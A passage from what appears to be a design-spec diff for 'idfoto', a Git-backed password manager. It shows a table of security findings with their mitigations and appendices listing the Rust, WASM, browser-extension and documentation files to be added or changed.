hooks, no GPG sign, no editor; specific paths) | +| H5 | High | `getrandom` for all randomness in WASM; no `Math.random()` | +| H6 | High | `rand::distributions::Uniform` in CLI generator | +| H7 | High | Bump `rpassword` to 7.x (Phase 0) | +| H8 | High | Documented in setup wizard + README; fine-grained PAT guidance | +| M4 | Medium | Opaque `IdfotoError::Decrypt` for all decrypt failures | +| M5 | Medium | Popup captures `(tab.id, tab.url)` at open; verifies on `fill_credentials` | +| M8 | Medium | 16-char hex IDs | +| M9 | Medium | Item type discriminant validation in deserializer | +| L11 | Low | Lint rule mandates double-quote attributes in templates | + +Phase 0 implementation handles the remaining items (M3, M6, M7, M11, L7, L8) outside this spec. + +## Appendix B — Files Touched + +New files (Rust): + +``` +crates/idfoto-core/src/item.rs # Item, Section, Field, FieldKind, FieldValue +crates/idfoto-core/src/item_types/mod.rs +crates/idfoto-core/src/item_types/login.rs +crates/idfoto-core/src/item_types/secure_note.rs +crates/idfoto-core/src/item_types/identity.rs +crates/idfoto-core/src/item_types/card.rs +crates/idfoto-core/src/item_types/key.rs +crates/idfoto-core/src/item_types/document.rs +crates/idfoto-core/src/item_types/totp.rs +crates/idfoto-core/src/manifest.rs # rewritten +crates/idfoto-core/src/settings.rs +crates/idfoto-core/src/generators.rs +crates/idfoto-core/src/attachment.rs +crates/idfoto-wasm/src/session.rs +``` + +New files (extension): + +``` +extension/src/service-worker/router/index.ts +extension/src/service-worker/router/popup-only.ts +extension/src/service-worker/router/content-callable.ts +extension/src/popup/components/items/login.ts +extension/src/popup/components/items/secure-note.ts +extension/src/popup/components/items/identity.ts +extension/src/popup/components/items/card.ts +extension/src/popup/components/items/key.ts +extension/src/popup/components/items/document.ts +extension/src/popup/components/items/totp.ts +extension/src/popup/components/trash.ts +extension/src/popup/components/history.ts +``` + +Heavily modified (Rust): + +``` +crates/idfoto-core/src/lib.rs # re-exports + module declarations +crates/idfoto-core/src/crypto.rs # length-prefix KDF, Zeroize, NFC +crates/idfoto-core/src/entry.rs # DELETED — replaced by item.rs +crates/idfoto-core/src/error.rs # opaque Decrypt variant only +crates/idfoto-core/Cargo.toml # add zeroize, zxcvbn, bip39, unicode-normalization +crates/idfoto-wasm/src/lib.rs # session-handle API, getrandom +crates/idfoto-wasm/Cargo.toml # update deps +crates/idfoto-cli/src/main.rs # rewritten command handlers +crates/idfoto-cli/Cargo.toml # rpassword = "7", clipboard hardening +``` + +Heavily modified (extension): + +``` +extension/manifest.json # WAR cleanup +extension/manifest.firefox.json # WAR cleanup +extension/src/service-worker/index.ts # → router/index.ts +extension/src/service-worker/vault.ts # typed-item operations +extension/src/service-worker/git-host.ts # putBlob with Git Data API fallback +extension/src/service-worker/gitea.ts # putBlob impl +extension/src/service-worker/github.ts # putBlob impl +extension/src/content/capture.ts # closed Shadow DOM +extension/src/content/icon.ts # closed Shadow DOM +extension/src/content/detector.ts # bound page-derived strings +extension/src/popup/popup.ts # typed-item dispatch +extension/src/popup/components/entry-list.ts # → item-list.ts +extension/src/popup/components/entry-detail.ts # → dispatcher to per-type detail +extension/src/popup/components/entry-form.ts # → dispatcher to per-type form +extension/src/popup/components/settings.ts # vault settings (retention, generators, caps) +extension/src/popup/components/setup-wizard.ts # zxcvbn integration +extension/src/setup/setup.ts # zxcvbn integration +extension/src/shared/types.ts # Item, ItemType, FieldKind, etc. +extension/src/shared/messages.ts # split per router surface +extension/src/wasm.d.ts # session-handle types +``` + +Documentation: + +``` +README.md # update for typed items, security warnings +CLAUDE.md # reflect new module structure +docs/superpowers/specs/2026-04-11-idfoto-design.md # amend KDF section per H1; note format v2 +```